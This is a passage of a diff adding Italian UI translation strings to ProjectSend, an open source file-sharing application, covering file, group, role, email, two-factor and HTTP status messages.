risorse personalizzate", + "Delete field": "Elimina campo", + "Delete field?": "Eliminare il campo?", + "Delete file": "Elimina file", + "Delete file?": "Eliminare il file?", + "Delete files": "Eliminare file", + "Delete folder": "Elimina cartella", + "Delete folder?": "Eliminare la cartella?", + "Delete group": "Elimina gruppo", + "Delete group?": "Eliminare il gruppo?", + "Delete groups": "Eliminare gruppi", + "Delete others' files": "Eliminare i file altrui", + "Delete own files": "Eliminare i propri file", + "Delete role": "Elimina ruolo", + "Delete role?": "Eliminare il ruolo?", + "Delete selected": "Elimina selezionati", + "Delete selected files?": "Eliminare i file selezionati?", + "Delete system users": "Eliminare utenti di sistema", + "Delete this file?": "Eliminare questo file?", + "Delete user": "Elimina utente", + "Delete user?": "Eliminare l'utente?", + "Deleted account": "Account eliminato", + "Deleted the account \":name\"": "Ha eliminato l'account \":name\"", + "Deleted the file \":name\"": "Ha eliminato il file \":name\"", + "Deleted the folder \":name\" and its contents": "Ha eliminato la cartella \":name\" e il suo contenuto", + "Deleted the group \":name\"": "Ha eliminato il gruppo \":name\"", + "Deleted the orphan file \":name\"": "Ha eliminato il file orfano \":name\"", + "Deleted the role \":name\"": "Ha eliminato il ruolo \":name\"", + "Denied the account request of \":name\"": "Ha rifiutato la richiesta di account di \":name\"", + "Denied the membership of \":member\" to the group \":subject\"": "Ha rifiutato l'adesione di \":member\" al gruppo \":subject\"", + "Deny": "Rifiuta", + "Deny this request?": "Rifiutare questa richiesta?", + "Description": "Descrizione", + "Description (optional)": "Descrizione (facoltativa)", + "Detach": "Scollega", + "Details": "Dettagli", + "Disable": "Disabilita", + "Disable two-factor authentication?": "Disattivare l'autenticazione a due fattori?", + "Disabled two-factor authentication": "Ha disattivato l'autenticazione a due fattori", + "Discard": "Scarta", + "Discourage search engines from indexing this site": "Scoraggia i motori di ricerca dall'indicizzare questo sito", + "Dismiss": "Nascondi", + "Documentation": "Documentazione", + "Don't have an account?": "Non hai un account?", + "Done": "Fatto", + "Down": "Giù", + "Download": "Scarica", + "Download as zip": "Scarica in ZIP", + "Downloaded the file \":subject\"": "Ha scaricato il file \":subject\"", + "Downloaded the file \":subject\" via a public link": "Ha scaricato il file \":subject\" tramite un link pubblico", + "Downloaded the file \":subject\" via the public group listing": "Ha scaricato il file \":subject\" tramite l'elenco pubblico dei gruppi", + "Downloads": "Download", + "Downloads are never recorded with an IP address.": "I download non vengono mai registrati con un indirizzo IP.", + "Drag to reorder": "Trascina per riordinare", + "Drag widgets here": "Trascina qui i widget", + "Dropdown": "Menu a tendina", + "Duplicate": "Duplica", + "Duplicate :name": "Duplica :name", + "Edit": "Modifica", + "Edit :name": "Modifica :name", + "Edit categories": "Modificare categorie", + "Edit clients": "Modificare clienti", + "Edit custom assets": "Modificare risorse personalizzate", + "Edit email templates": "Modificare i modelli e-mail", + "Edit groups": "Modificare gruppi", + "Edit others' files": "Modificare i file altrui", + "Edit own files": "Modificare i propri file", + "Edit system settings": "Modificare le impostazioni di sistema", + "Edit system users": "Modificare utenti di sistema", + "Edit this client account": "Modifica questo account cliente", + "Edit this staff account": "Modifica questo account dello staff", + "Edition": "Edizione", + "Email": "E-mail", + "Email address": "Indirizzo e-mail", + "Email settings": "Impostazioni e-mail", + "Email template reset to default.": "Modello e-mail ripristinato ai valori predefiniti.", + "Email template saved.": "Modello e-mail salvato.", + "Email templates": "Modelli e-mail", + "Empty file": "File vuoto", + "Enable": "Abilita", + "Enable the public directory page": "Attiva la pagina dell'elenco pubblico", + "Enable two-factor authentication": "Attiva l'autenticazione a due fattori", + "Enabled two-factor authentication": "Ha attivato l'autenticazione a due fattori", + "Encrypted environment file already exists.": "Il file di ambiente criptato esiste già.", + "Encrypted environment file not found.": "Non è stato trovato il file di ambiente criptato.", + "Encryption": "Crittografia", + "Enter one of your recovery codes.": "Inserisci uno dei tuoi codici di recupero.", + "Enter the six-digit code from your authenticator app.": "Inserisci il codice a sei cifre della tua app di autenticazione.", + "Enter your email and password below to log in": "Inserisci qui sotto la tua e-mail e la tua password per accedere", + "Environment": "Ambiente", + "Environment file already exists.": "Il file di ambiente esiste già.", + "Environment file not found.": "File di ambiente non trovato.", + "errors": "errori", + "Every comment on files you can see, newest first": "Tutti i commenti sui file che puoi vedere, dal più recente", + "Every download records the IP address of whoever downloaded it.": "Ogni download registra l'indirizzo IP di chi lo ha effettuato.", + "Everyone": "Tutti", + "Everything that happened on this installation, newest first": "Tutto ciò che è accaduto su questa installazione, dal più recente", + "Expand": "Espandi", + "Expand All": "Espandi tutto", + "Expectation Failed": "Aspettativa fallita", + "Expires": "Scade", + "Expires :date": "Scade il :date", + "Explanation": "Spiegazione", + "Export": "Esporta", + "Export :name": "Esporta :name", + "Export CSV": "Esporta CSV", + "External storage": "Archiviazione esterna", + "Extra fields shown on the client create and edit screens.": "Campi aggiuntivi mostrati nelle schermate di creazione e modifica dei clienti.", + "Failed Dependency": "Dipendenza fallita", + "Failed to send: :error": "Invio non riuscito: :error", + "File": "File", + "File: :name": "File: :name", + "File deleted.": "File eliminato.", + "File imported.": "File importato.", + "File name": "Nome del file", + "File shared with a client": "File condiviso con un cliente", + "File updated.": "File aggiornato.", + "File uploaded.": "File caricato.", + "Files": "File", + "Files can only be assigned to clients or groups.": "I file possono essere assegnati solo a clienti o gruppi.", + "Files shared with you": "File condivisi con te", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "File presenti sul disco senza un record corrispondente — da un caricamento interrotto, un ripristino o un intervento manuale sul filesystem.", + "Flat labels for files — independent of folders. A file can have several.": "Etichette semplici per i file — indipendenti dalle cartelle. Un file può averne diverse.", + "Folder": "Cartella", + "Folder: :name": "Cartella: :name", + "Folder created.": "Cartella creata.", + "Folder deleted.": "Cartella eliminata.", + "Folder shared with a client": "Cartella condivisa con un cliente", + "Folders can only be shared with clients or groups.": "Le cartelle possono essere condivise solo con clienti o gruppi.", + "Folders cannot be nested more than :max levels deep.": "Le cartelle non possono essere annidate per più di :max livelli.", + "Forbidden": "Vietato", + "Forgot password?": "Password dimenticata?", + "Found": "Trovato", + "From": "Da", + "From address": "Indirizzo mittente", + "From name": "Nome mittente", + "Gateway Timeout": "Tempo scaduto per il gateway", + "General": "Generale", + "General settings": "Impostazioni generali", + "Go Home": "Vai alla Home", + "Go to page :page": "Vai alla pagina :page", + "Go to the login form": "Vai al modulo di accesso", + "Gone": "Andata", + "Gray": "Grigio", + "Green": "Verde", + "Group": "Gruppo", + "Group created.": "Gruppo creato.", + "Group deleted.": "Gruppo eliminato.", + "Group membership approved": "Adesione al gruppo approvata", + "Group membership denied": "Adesione al gruppo rifiutata", + "Group updated.": "Gruppo aggiornato.", + "Groups": "Gruppi", + "Groups clients can request to join at registration": "Gruppi a cui i clienti possono chiedere di aderire in fase di registrazione", + "Groups let you assign files to several clients at once": "I gruppi ti permettono di assegnare file a più clienti in una volta sola", + "Hello :name,": "Ciao :name,", + "Hello, :name": "Ciao, :name", + "Hello!": "Ciao!", + "Here is what has been shared with you": "Ecco cosa è stato condiviso con te", + "Hide": "Nascondi", + "Hide :name": "Nascondi :name", + "Home": "Home", + "Host": "Host", + "How client accounts are created on this installation": "Come nascono gli account cliente su questa installazione", + "How long a self-deleted account is kept before it is permanently erased.": "Per quanto tempo viene conservato un account eliminato dal titolare prima della cancellazione definitiva.", + "How many files/folders were shared at once": "Quanti file/cartelle sono stati condivisi in una volta sola", + "HTTP Version Not Supported": "Versione HTTP non supportata", + "I'm a teapot": "Sono una teiera", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Se questo account non è più disponibile quando viene eseguita una cancellazione, i file vengono eliminati invece di restare senza proprietario.", + "If you did not create an account, no further action is required.": "Se non hai creato un account, non è richiesta alcuna azione.", + "If you did not request a password reset, no further action is required.": "Se non hai richiesto un reset della password, non è richiesta alcuna azione.", + "If you received this, your email configuration is working.": "Se hai ricevuto questo messaggio, la tua configurazione e-mail funziona.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Se non riesci a cliccare sul pulsante \":actionText\", copia e incolla l'URL seguente\nnel tuo browser:", + "IM Used": "IM utilizzati", + "Image": "Immagine", + "Impersonate": "Impersona", + "Impersonation": "Impersonificazione", + "Import": "Importa", + "Import :name": "Importa :name", + "Import orphan files": "Importa file orfani", + "Import selected": "Importa selezionati", + "Imported the orphan file \":subject\"": "Ha importato il file orfano \":subject\"", + "Inactive": "Inattivo", + "Include this file when a group it's shared with is public.": "Includi questo file quando un gruppo con cui è condiviso è pubblico.", + "Insert": "Inserisci", + "Installed ProjectSend": "Ha installato ProjectSend", + "Insufficient Storage": "Spazio insufficiente", + "Internal Server Error": "Errore interno al server", + "Introduction": "introduzione", + "Invalid filename.": "Nome file non valido.", + "Invalid JSON was returned from the route.": "JSON non valido è stato restituito dalla route.", + "Invalid SSL Certificate": "Certificato SSL invalido", + "Label": "Etichetta", + "Last modified": "Ultima modifica", + "Latest files": "Ultimi file", + "Leave": "Esci", + "Leave empty for a link that never expires.": "Lascia vuoto per un link che non scade mai.", + "Leave empty for unlimited downloads.": "Lascia vuoto per download illimitati.", + "Leave group": "Esci dal gruppo", + "Leave this group?": "Uscire da questo gruppo?", + "Left the group \":subject\"": "È uscito dal gruppo \":subject\"", + "length": "dimensione", + "Length Required": "Lunghezza necessaria", + "Library": "Libreria", + "Light": "Chiaro", + "Like": "Mi Piace", + "Limit download counts": "Limitare il numero di download", + "Limit to assigned clients": "Limita ai clienti assegnati", + "Limits for files uploaded to this installation": "Limiti per i file caricati su questa installazione", + "Link unavailable": "Link non disponibile", + "Load": "Carica", + "Loading…": "Caricamento…", + "Local storage": "Archiviazione locale", + "Localize": "Localizza", + "Location": "Posizione", + "Locked": "Bloccata", + "Log in": "Accedi", + "Log In": "Accedi", + "Log in to your account": "Accedi al tuo account", + "Log out": "Esci", + "Log Out": "Esci", + "Logged in": "Ha effettuato l'accesso", + "Logged out": "Ha effettuato la disconnessione", + "Login": "Accedi", + "Logout": "Esci", + "Loop Detected": "Loop identificato", + "Mail provider settings saved.": "Impostazioni del provider e-mail salvate.", + "Mailgun": "Mailgun", + "Maintenance Mode": "In manutenzione", + "Manage custom fields": "Gestire i campi personalizzati", + "Manage public links from the edit page.": "Gestisci i link pubblici dalla pagina di modifica.", + "Manage system users and roles": "Gestire utenti di sistema e ruoli", + "Manage updates": "Gestire gli aggiornamenti", + "Manage your profile and account settings": "Gestisci il tuo profilo e le impostazioni dell'account", + "Mark all read": "Segna tutto come letto", + "Mark as read": "Segna come letto", + "Mark as unread": "Segna come non letto", + "Max downloads": "Download max.", + "Maximum file size (MB)": "Dimensione massima del file (MB)", + "Member": "Membro", + "Members": "Membri", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "I membri di questo ruolo vedono solo i file e le cartelle dei clienti loro assegnati, oltre ai propri caricamenti.", + "Membership request approved.": "Richiesta di adesione approvata.", + "Membership request denied.": "Richiesta di adesione rifiutata.", + "Membership requests": "Richieste di adesione", + "Membership requests are reviewed by an administrator": "Le richieste di adesione vengono esaminate da un amministratore", + "Method Not Allowed": "Metodo non consentito", + "Minutes until the reset link expires": "Minuti prima della scadenza del link di reimpostazione", + "Misdirected Request": "Richiesta mal indirizzata", + "Modified": "Modificato", + "Moved Permanently": "Trasferito permanentemente", + "Moved the folder \":subject\"": "Ha spostato la cartella \":subject\"", + "Multi-line text": "Testo su più righe", + "Multi-Status": "Stati multipli", + "Multiple Choices": "Scelte multiple", + "Multiple files/folders shared at once (digest)": "Più file/cartelle condivisi in una volta (riepilogo)", + "My files": "I miei file", + "My groups": "I miei gruppi", + "Name": "Nome", + "Name or description": "Nome o descrizione", + "Name or email address": "Nome o indirizzo e-mail", + "Never": "Mai", + "Never expires": "Non scade mai", + "Network Authentication Required": "Autenticazione di rete necessaria", + "Network Connect Timeout Error": "Errore di timeout della connessione di rete", + "Network Read Timeout Error": "Errore timeout lettura rete", + "New": "Crea", + "New :name": "Nuovo :name", + "New category": "Nuova categoria", + "New client": "Nuovo cliente", + "New client registrations and client uploads are sent here — at least one address is required.": "Le nuove registrazioni dei clienti e i loro caricamenti vengono inviati qui — è necessario almeno un indirizzo.", + "New field": "Nuovo campo", + "New folder": "Nuova cartella", + "New group": "Nuovo gruppo", + "New membership request from :client for the group \":group\".": "Nuova richiesta di adesione da :client per il gruppo \":group\".", + "New password (leave blank to keep current)": "Nuova password (lascia vuoto per mantenere quella attuale)", + "New role": "Nuovo ruolo", + "New user": "Nuovo utente", + "News": "Novità", + "Next": "Avanti", + "No": "No", + "No activity matches these filters.": "Nessuna attività corrisponde a questi filtri.", + "No activity recorded yet.": "Nessuna attività registrata finora.", + "No categories match your search.": "Nessuna categoria corrisponde alla tua ricerca.", + "No categories yet.": "Ancora nessuna categoria.", + "No clients match these filters.": "Nessun cliente corrisponde a questi filtri.", + "No clients yet.": "Ancora nessun cliente.", + "No comments match these filters.": "Nessun commento corrisponde a questi filtri.", + "No Content": "Nessun contenuto", + "No custom fields yet.": "Ancora nessun campo personalizzato.", + "No downloads recorded yet.": "Nessun download registrato finora.", + "No fields match your search.": "Nessun campo corrisponde alla tua ricerca.", + "No files have been shared with you yet.": "Non è ancora stato condiviso alcun file con te.", + "No files here yet.": "Ancora nessun file qui.", + "No files or folders match your search.": "Nessun file o cartella corrisponde alla tua ricerca.", + "No files yet. Upload the first one.": "Ancora nessun file. Carica il primo.", + "No folder": "Nessuna cartella", + "No groups match these filters.": "Nessun gruppo corrisponde a questi filtri.", + "No groups yet.": "Ancora nessun gruppo.", + "No members yet.": "Ancora nessun membro.", + "No more categories": "Nessun'altra categoria", + "No more clients to add": "Nessun altro cliente da aggiungere", + "No news yet.": "Ancora nessuna novità.", + "No orphan files found.": "Nessun file orfano trovato.", + "No orphan files match your search.": "Nessun file orfano corrisponde alla tua ricerca.", + "No pending requests.": "Nessuna richiesta in sospeso.", + "No public links yet.": "Ancora nessun link pubblico.", + "No recipients added yet.": "Ancora nessun destinatario aggiunto.", + "No requests match your search.": "Nessuna richiesta corrisponde alla tua ricerca.", + "No roles match this filter.": "Nessun ruolo corrisponde a questo filtro.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Nessun limite di dimensione. I caricamenti possono essere messi in pausa e riprendono automaticamente dopo un'interruzione.", + "No users match these filters.": "Nessun utente corrisponde a questi filtri.", + "No users yet.": "Ancora nessun utente.", + "Nobody (optional for everyone)": "Nessuno (facoltativo per tutti)", + "Non-Authoritative Information": "Informazione non autorevole", + "None": "Nessuno", + "None of the selected items could be found.": "Nessuno degli elementi selezionati è stato trovato.", + "Not Acceptable": "Non accettabile", + "Not Extended": "Non esteso", + "Not Found": "Non trovato", + "Not Implemented": "Non implementato", + "Not Modified": "Non modificata", + "Not shared with anyone yet.": "Non ancora condiviso con nessuno.", + "Notification settings": "Impostazioni delle notifiche", + "Notifications": "Notifiche", + "Nothing is publicly shared yet.": "Non c'è ancora nulla condiviso pubblicamente.", + "of": "di", + "OK": "OK", + "One option per line": "Un'opzione per riga", + "Only clients can be group members.": "Solo i clienti possono essere membri di un gruppo.", + "Only clients can comment here.": "Qui possono commentare solo i clienti.", + "Only for anonymous downloads": "Solo per i download anonimi", + "Only people who are signed in can comment here.": "Qui possono commentare solo le persone che hanno effettuato l'accesso.", + "Only staff can comment here.": "Qui può commentare solo lo staff.", + "Only the wording below is editable — any button or link in this email stays fixed.": "È modificabile solo il testo qui sotto — i pulsanti e i link di questa e-mail restano invariati.", + "Open": "Aprire", + "Open folder": "Apri cartella", + "Open in a current window": "Apri in una finestra corrente", + "Open in a new window": "Apri in una nuova finestra", + "Open in a parent frame": "Apri in un frame principale", + "Open in the topmost frame": "Apri nel riquadro più in alto", + "Open on the website": "Apri sul sito", + "Open public listing": "Apri l'elenco pubblico", + "Options": "Opzioni", + "Or enter this key manually:": "Oppure inserisci questa chiave manualmente:", + "Orange": "Arancione", + "Origin Is Unreachable": "Origine non raggiungibile", + "Outgoing email": "E-mail in uscita", + "Outgoing email theme": "Tema delle e-mail in uscita", + "Page :current of :last": "Pagina :current di :last", + "Page Expired": "Pagina scaduta", + "Pagination Navigation": "Navigazione della Paginazione", + "Partial Content": "Contenuto parziale", + "Password": "Password", + "Password reset": "Reimpostazione della password", + "Path": "Percorso", + "Payload Too Large": "Payload troppo grande", + "Payment Required": "Pagamento richiesto", + "Pending approval": "In attesa di approvazione", + "Permanent Redirect": "Re-indirizzamento permanente", + "Permanently erased a deleted account": "Ha cancellato definitivamente un account eliminato", + "Permissions": "Autorizzazioni", + "Pink": "Rosa", + "Platform": "Piattaforma", + "Please click the button below to verify your email address.": "Clicca sul pulsante qui sotto per verificare il tuo indirizzo email.", + "Port": "Porta", + "Postmark": "Postmark", + "Powered by ProjectSend": "Basato su ProjectSend", + "Precondition Failed": "Precondizione fallita", + "Precondition Required": "Precondizione necessaria", + "Preparing your download…": "Preparazione del download…", + "Preview": "Anteprima", + "Preview: :theme": "Anteprima: :theme", + "Previous": "Indietro", + "Price": "Prezzo", + "Privacy": "Privacy", + "Privacy settings": "Impostazioni sulla privacy", + "Private": "Privato", + "Processing": "In processo", + "Profile": "Profilo", + "Profile information was updated": "Le informazioni del profilo sono state aggiornate", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion è disponibile (tu hai la :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend è software libero e open source per inviare file ai tuoi clienti. È rilasciato sotto la :license, il che significa che sei libero di usarlo, studiarlo, modificarlo e condividerlo.", + "ProjectSend is ready": "ProjectSend è pronto", + "ProjectSend was installed": "ProjectSend è stato installato", + "Provider": "Provider", + "Proxy Authentication Required": "Autenticazione al proxy richiesta", + "Public": "Pubblico", + "Public file": "File pubblico", + "Public files": "File pubblici", + "Public group": "Gruppo pubblico", + "Public group listing": "Elenco pubblico dei gruppi", + "Public groups": "Gruppi pubblici", + "Public link": "Link pubblico", + "Public link created.": "Link pubblico creato.", + "Public link revoked.": "Link pubblico revocato.", + "Public links": "Link pubblici", + "Public listing": "Elenco pubblico", + "Public listing settings": "Impostazioni dell'elenco pubblico", + "Public listing URL": "URL dell'elenco pubblico", + "Public pages & portal": "Pagine pubbliche e portale", + "Public pages and client portal theme": "Tema delle pagine pubbliche e del portale clienti", + "Published": "Pubblicato", + "Purple": "Viola", + "Quota": "Quota", + "Railgun Error": "Errore del cannone a rotaia", + "Range Not Satisfiable": "intervallo non soddisfacibile", + "Read more": "Scopri di più", + "Reassign them to": "Riassegnali a", + "Recent activity": "Attività recente", + "Recipient": "Destinatario", + "Record": "Documentazione", + "Record IP addresses for downloads": "Registra gli indirizzi IP dei download", + "Recovery code": "Codice di recupero", + "Red": "Rosso", + "Regards,": "Distinti saluti,", + "Regenerate recovery codes": "Rigenera i codici di recupero", + "Regenerate recovery codes?": "Rigenerare i codici di recupero?", + "Regenerated two-factor recovery codes": "Ha rigenerato i codici di recupero a due fattori", + "Register": "Registrati", + "Register to access the files shared with you.": "Registrati per accedere ai file condivisi con te.", + "Register to request access. An administrator will review your request.": "Registrati per richiedere l'accesso. Un amministratore esaminerà la tua richiesta.", + "Registered a new client account": "Ha registrato un nuovo account cliente", + "Related": "Correlato", + "Remember me": "Ricordami", + "Remove": "Rimuovi", + "Removed \":member\" from the group \":subject\"": "Ha rimosso \":member\" dal gruppo \":subject\"", + "Removed the file \":subject\" from :target": "Ha rimosso il file \":subject\" da :target", + "Rename": "Rinomina", + "Renamed the folder \":subject\"": "Ha rinominato la cartella \":subject\"", + "Repository": "Repository", + "Request declined": "Richiesta rifiutata", + "Request Header Fields Too Large": "Campi header della richiesta troppo grandi", + "Request membership": "Richiedi l'adesione", + "Request membership to groups (optional)": "Richiedi l'adesione a dei gruppi (facoltativo)", + "Request Timeout": "Tempo scaduto per la richiesta", + "Requested": "Richiesto", + "Requested membership to the group \":subject\"": "Ha richiesto l'adesione al gruppo \":subject\"", + "Requested memberships wait in the membership requests queue for approval.": "Le adesioni richieste restano in attesa di approvazione nella coda delle richieste di adesione.", + "Require two-factor authentication": "Richiedi l'autenticazione a due fattori", + "Required": "Obbligatorio", + "Reset Content": "Resetta il contenuto", + "Reset Password": "Reimposta password", + "Reset Password Notification": "Notifica di reset della password", + "Reset this email to its default wording?": "Ripristinare il testo predefinito di questa e-mail?", + "Reset to default": "Ripristina i valori predefiniti", + "Restore": "Ripristina", + "Restore :name": "Ripristina :name", + "Restricted extension": "Estensione limitata", + "Result": "Risultato", + "results": "risultati", + "Review membership requests": "Esaminare le richieste di adesione", + "Review pending requests": "Esamina le richieste in sospeso", + "Retry With": "Riprova con", + "Revoke": "Revoca", + "Revoke link": "Revoca il link", + "Revoke this public link?": "Revocare questo link pubblico?", + "Revoked a public link for the file \":subject\"": "Ha revocato un link pubblico per il file \":subject\"", + "Role": "Ruolo", + "Role created.": "Ruolo creato.", + "Role deleted.": "Ruolo eliminato.", + "Role name": "Nome del ruolo", + "Role updated.": "Ruolo aggiornato.", + "Roles": "Ruoli", + "Sample email": "E-mail di esempio", + "Save": "Salva", + "Save :name": "Salva :name", + "Save & Close": "Salva e chiudi", + "Save & Return": "Salva e ritorna", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Salva le modifiche per pubblicarlo — fino ad allora questi pulsanti rimandano a una pagina non ancora pubblicata.", + "Saved": "Salvato", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Scansiona questo codice QR con la tua app di autenticazione, poi inserisci il codice a sei cifre per confermare.", + "Scanning:": "Scansione in corso:", + "Scheduled tasks": "Attività pianificate", + "Search": "Cerca", + "Search :name": "Cerca :name", + "Search all files and folders": "Cerca in tutti i file e le cartelle", + "Search by client or group": "Cerca per cliente o gruppo", + "Search by name": "Cerca per nome", + "Search by name or email address": "Cerca per nome o indirizzo e-mail", + "Search by path": "Cerca per percorso", + "Search categories": "Cerca categorie", + "Search fields": "Cerca campi", + "Search your files": "Cerca nei tuoi file", + "Security": "Sicurezza", + "Security settings": "Impostazioni di sicurezza", + "See Other": "Guarda altro", + "Select": "Seleziona", + "Select :name": "Seleziona :name", + "Select a client or group": "Seleziona un cliente o un gruppo", + "Select a client to add": "Seleziona un cliente da aggiungere", + "Select a role": "Seleziona un ruolo", + "Select All": "Seleziona tutto", + "Select an option": "Seleziona un'opzione", + "Select at least one file or folder.": "Seleziona almeno un file o una cartella.", + "Self-registered clients join this group automatically.": "I clienti registrati autonomamente entrano automaticamente in questo gruppo.", + "Send": "Invia", + "Send email notifications": "Invia notifiche via e-mail", + "Send test email": "Invia e-mail di prova", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Invia subito una vera e-mail, saltando la coda, così puoi verificare che le impostazioni qui sopra funzionino davvero.", + "Separate paragraphs with a blank line.": "Separa i paragrafi con una riga vuota.", + "Server Error": "Errore server", + "Service Unavailable": "Servizio non disponibile", + "Session Has Expired": "Sessione scaduta", + "Set file expiration dates": "Impostare le date di scadenza dei file", + "Set to 0 for no limit. Available disk space still applies.": "Imposta 0 per non porre alcun limite. Lo spazio su disco disponibile resta comunque valido.", + "Set to 0 to allow requesting again immediately.": "Imposta 0 per consentire subito una nuova richiesta.", + "Set up ProjectSend": "Configura ProjectSend", + "Settings": "Impostazioni", + "Settings that apply to the whole installation": "Impostazioni valide per l'intera installazione", + "Setup complete": "Configurazione completata", + "Share a file with the people who manage your account.": "Condividi un file con le persone che gestiscono il tuo account.", + "Share files with several clients at once": "Condividi file con più clienti in una volta sola", + "Shared the folder \":subject\" with :target": "Ha condiviso la cartella \":subject\" con :target", + "Shared with": "Condiviso con", + "Shared with :count": "Condiviso con :count", + "Sharing": "Condivisione", + "Sharing a folder shares everything inside it, now and later": "Condividere una cartella condivide tutto ciò che contiene, ora e in futuro", + "Show": "Mostra", + "Show :name": "Mostra :name", + "Show All": "Mostra tutto", + "Showing": "Mostra", + "Showing matches from across your library": "Risultati provenienti da tutta la tua libreria", + "Showing matches from everything shared with you": "Risultati provenienti da tutto ciò che è stato condiviso con te", + "Shown across the application and to your clients.": "Mostrato in tutta l'applicazione e ai tuoi clienti.", + "Shows a registration form on the login screen.": "Mostra un modulo di registrazione nella schermata di accesso.", + "Sign In": "Accedi", + "Sign up": "Registrati", + "Site name": "Nome del sito", + "Size": "Dimensione", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Ometti l'indirizzo IP quando il download proviene da un account connesso — la sua identità è già nota.", + "SMTP configuration": "Configurazione SMTP", + "Source code": "Codice sorgente", + "Special public links": "Link pubblici speciali", + "Solve": "Risolvere", + "Something went wrong. Please try again.": "Qualcosa è andato storto. Riprova.", + "SSL": "SSL", + "SSL Handshake Failed": "Handshake SSL fallita", + "Staff": "Staff", + "Start": "Avvia", + "Status": "Stato", + "Stop": "Ferma", + "Stopped sharing the folder \":subject\" with :target": "Ha smesso di condividere la cartella \":subject\" con :target", + "Storage": "Archiviazione", + "Storage free": "Spazio libero", + "Storage quota (MB)": "Quota di spazio (MB)", + "Storage used": "Spazio utilizzato", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Conserva questi codici di recupero in un luogo sicuro. Ognuno può essere usato una volta se perdi l'accesso alla tua app di autenticazione.", + "Subfolders": "Sottocartelle", + "Subject": "Oggetto", + "Submit": "Invia", + "Subscribe": "Abbonati", + "Success: test email sent to :email via :hostport.": "Riuscito: e-mail di prova inviata a :email tramite :hostport.", + "Support the project": "Sostieni il progetto", + "Switch": "Passa", + "Switch To Role": "Passa al ruolo", + "Switching Protocols": "Scambiando protocolli", + "System": "Sistema", + "System Administrator": "Amministratore di sistema", + "System settings": "Impostazioni di sistema", + "System settings were updated": "Le impostazioni di sistema sono state aggiornate", + "System users": "Utenti di sistema", + "Tag": "Etichetta", + "Tags": "Etichette", + "Temporary Redirect": "Re-indirizzamento temporaneo", + "Test": "Prova", + "Text": "Testo", + "Text or author": "Testo o autore", + "The account of :name will be permanently deleted. This cannot be undone.": "L'account di :name verrà eliminato definitivamente. L'operazione non è reversibile.", + "The account password was changed": "La password dell'account è stata modificata", + "The account request of :name will be denied and the account deleted.": "La richiesta di account di :name verrà rifiutata e l'account eliminato.", + "The administrator account was created successfully.": "L'account amministratore è stato creato con successo.", + "The administrator role always has every permission and cannot be edited.": "Il ruolo amministratore possiede sempre tutte le autorizzazioni e non può essere modificato.", + "The base URL segment for public group pages, e.g. :url": "Il segmento di URL di base per le pagine dei gruppi pubblici, ad es. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "La categoria \":name\" verrà rimossa da tutti i suoi file. I file stessi non vengono eliminati.", + "The client's email address": "L'indirizzo e-mail del cliente", + "The client's name": "Il nome del cliente", + "The clients this group shares files with": "I clienti con cui questo gruppo condivide i file", + "The field \":name\" and all its stored values will be permanently deleted.": "Il campo \":name\" e tutti i valori in esso memorizzati verranno eliminati definitivamente.", + "The file \":file\" was uploaded by :client.": "Il file \":file\" è stato caricato da :client.", + "The file \":name\" has been shared with you.": "Il file \":name\" è stato condiviso con te.", + "The file \":name\" will no longer be available to anyone it was shared with.": "Il file \":name\" non sarà più disponibile per nessuna delle persone con cui era condiviso.", + "The file name": "Il nome del file", + "The file or folder name": "Il nome del file o della cartella", + "The file will be permanently removed from disk. This cannot be undone.": "Il file verrà rimosso definitivamente dal disco. L'operazione non è reversibile.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "I file di un gruppo pubblico possono essere sfogliati da chiunque abbia il link, senza effettuare l'accesso.", + "The files shared with you": "I file condivisi con te", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "La cartella \":name\" e tutto il suo contenuto verranno eliminati. Un amministratore può annullare l'operazione.", + "The following :count items have been shared with you:": "I seguenti :count elementi sono stati condivisi con te:", + "The folder \":name\" has been shared with you.": "La cartella \":name\" è stata condivisa con te.", + "The given data was invalid.": "I dati forniti non sono validi.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "Il gruppo \":name\" verrà eliminato. I suoi clienti mantengono i propri account.", + "The group name": "Il nome del gruppo", + "The groups you belong to and the ones you can ask to join": "I gruppi a cui appartieni e quelli a cui puoi chiedere di aderire", + "The header/footer style used for every outgoing notification email.": "Lo stile di intestazione e piè di pagina usato per ogni e-mail di notifica in uscita.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "L'aspetto delle pagine pubbliche per i visitatori, del portale clienti e delle e-mail di notifica in uscita.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Il server di posta vero e proprio si configura nel file .env di questa installazione (variabili MAIL_*), non qui.", + "The people who administer this installation and upload files": "Le persone che amministrano questa installazione e caricano i file", + "The people you share files with": "Le persone con cui condividi i file", + "The provided two-factor authentication code was invalid.": "Il codice di autenticazione a due fattori inserito non è valido.", + "The release this installation is running, and where it comes from.": "La versione che questa installazione sta eseguendo, e da dove proviene.", + "The response is not a streamed response.": "La risposta non è una risposta in streaming.", + "The response is not a view.": "La risposta non è una visione.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "Il ruolo \":name\" verrà eliminato definitivamente. L'operazione non è reversibile.", + "The selected folders are empty.": "Le cartelle selezionate sono vuote.", + "The uploading client's name": "Il nome del cliente che carica", + "Their account is waiting for approval.": "Questo account è in attesa di approvazione.", + "There is nothing to configure yet.": "Non c'è ancora nulla da configurare.", + "Test email from :site": "E-mail di prova da :site", + "These files will be permanently removed from disk. This cannot be undone.": "Questi file verranno rimossi definitivamente dal disco. L'operazione non è reversibile.", + "Theme": "Tema", + "Theme updated.": "Tema aggiornato.", + "Theming": "Temi", + "Theming settings": "Impostazioni dei temi", + "This action is unauthorized.": "Questa azione non è 